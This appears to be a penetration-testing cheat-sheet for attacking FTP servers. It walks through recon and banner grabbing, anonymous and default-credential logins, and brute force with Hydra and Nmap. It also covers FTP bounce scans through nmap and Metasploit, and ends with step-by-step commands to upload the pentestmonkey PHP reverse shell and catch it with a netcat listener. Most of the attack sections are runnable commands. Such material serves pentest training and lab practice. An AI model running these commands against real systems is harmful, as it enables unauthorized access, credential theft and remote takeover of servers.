FTP (File Transfer Protocol)

`Default Port: 21`

FTP (File Transfer Protocol) is a standard network protocol used for transferring files from one host to another over a TCP-based network, such as the Internet. It enables users to upload or download files, manage file directories on a remote server, and navigate the server's file system.

FTP operates on a `client-server` model, where the client initiates a connection to the server to request files or submit files for storage.

The protocol supports anonymous access, where users can log in with a common username like 'anonymous' or 'ftp', and authenticated access, where a username and password are required.

Connect

Connect Using FTP Command

```
ftp <target-ip> <target-port>

#target port is optional
```

Connect Using lftp Command

lftp is the enhanced version of ftp. It's easier to use than ftp.

```
lftp X.X.X.X
```

Connect Using Web Browser

You can access an FTP server through a web browser (such as Firefox) by entering a URL formatted as follows:

```
ftp://username:password@X.X.X.X
```

Recon

Identifying an FTP Server

You can use `Nmap` to check if there's an FTP server on a target host like this:

```
nmap -p 21 X.X.X.X
```

Banner Grabbing

You can use `Netcat` to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

```
nc -nv X.X.X.X 21
```

Enumeration

FTP Server Features

Using the `nmap` script `ftp-features`, you can enumerate the features supported by the FTP server:

```
nmap -p 21 --script ftp-features <target-ip>
```

This script tests for features listed by the `FEAT` command, providing insight into the server's capabilities.

Enumerating Default and Common Directories

Many FTP servers have default or common directories that may contain sensitive information. To check for these directories, tools like Dirbuster or gobuster can be used:

```
gobuster dir -u ftp://<target-ip> -w <wordlist-path>
```

Attack Vectors

Anonymous Authentication

FTP allows users to connect to a server without needing a specific identity by using an `anonymous` login feature. This method is widely used for accessing or downloading public files.

```
ftp X.X.X.X

#provide anonymous as username
#provide any password
```

Common Credentials

If anonymous login is disabled on the FTP server, trying common usernames and passwords like `admin`, `administrator`, `root`, `ftpuser`, or `test` can be a good initial step. This approach is less aggressive than attempting to guess passwords through brute force and is recommended to try first when accessing a server.

```
ftp X.X.X.X

#provide a common username
```

```
#provide a common password
```

Bruteforcing Credentials

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like FTP, HTTP, SMB, etc. For FTP, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Bruteforcing with Hydra

To use `Hydra` for brute-forcing FTP login credentials, you would use a command structured for this purpose:

```
hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] ftp://X.X.X.X
```

Bruteforcing with Nmap

It is also possible to perform brute force on FTP with `Nmap` scripts:

```
nmap -p 21 --script ftp-brute X.X.X.X
```

FTP Bounce Attack

FTP Bounce Attack exploits the FTP protocol's ability to redirect traffic, masking the attack source. It uses an FTP server's `PORT` command to route data to a third party, making the attack seem to originate from the server.

How to Execute an FTP Bounce Attack:

1. `Find an FTP` server that doesn't restrict the `PORT` command.
2. Connect to the FTP server.

```
ftp X.X.X.X
```

3. Use the `PORT` command to redirect data to the target.

```
quote PORT target_IP,port
```

4. Initiate a file transfer or command that sends data to the target.

```
get filename
```

This command requests a file from the FTP server, which is then sent to the specified target, exploiting the bounce capability.

Bouncing with Nmap

`Nmap` can scan networks via FTP bounce by specifying the -b option with an FTP server that allows bouncing.

```
nmap -b <FTP_server>:<port> <target_network>
```

This scans the target network, making it appear as though the scan originates from the specified FTP server.

Bouncing with Metasploit

`Metasploit` offers modules that leverage FTP bounce for various purposes. After setting up Metasploit, you can use:

```
use auxiliary/scanner/ftp/ftp_bounce
set RHOSTS <FTP_server>
set RPORT <FTP_port>
run
```

This module scans through the vulnerable FTP server to find open ports on other systems.

Post-Exploitation

Common FTP Commands

Command	Description	Usage
`lcd`	Change local directory.	`lcd /path/to/directory`
`cd`	Change server directory.	`cd /path/to/directory`
`ls`	List server directory files.	`ls`
`get`	Download file from server.	`get filename.txt`
`mget`	Download multiple files.	`mget *.txt`
`put`	Upload file to server.	`put filename.txt`
`mput`	Upload multiple files.	`mput *.txt`
`bin`	Set binary transfer mode.	`bin`
`ascii`	Set ASCII transfer mode.	`ascii`
`quit`	Exit FTP client.	`quit`

Download All Files

```
wget -m ftp://anonymous:anonymous@X.X.X.X
```

Reverse Shell over Website

If the target allows users to access the FTP directory over the web and the web server can run PHP files, you can install the exploit for the reverse shell and gain

access.

1. Download the payload

```
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/
php-reverse-shell.php -O shell.php
```

2. Edit some variables in shell.php

```
$ip = '<your-local-ip>';
$port = 1234;
```

3. Connect to the FTP server and upload the payload.

```
ftp <target-ip>

# Upload the payload you downloaded
ftp> put shell.php
```

4. Get a shell

Firstly, you need to open a listener on your local machine.

```
nc -lvnp 1234
```

Then, in a web browser, navigate to "http://target.com/path/to/ftp/shell.php". This should trigger the exploit and establish a connection back to your listener, providing you with a shell on the target system.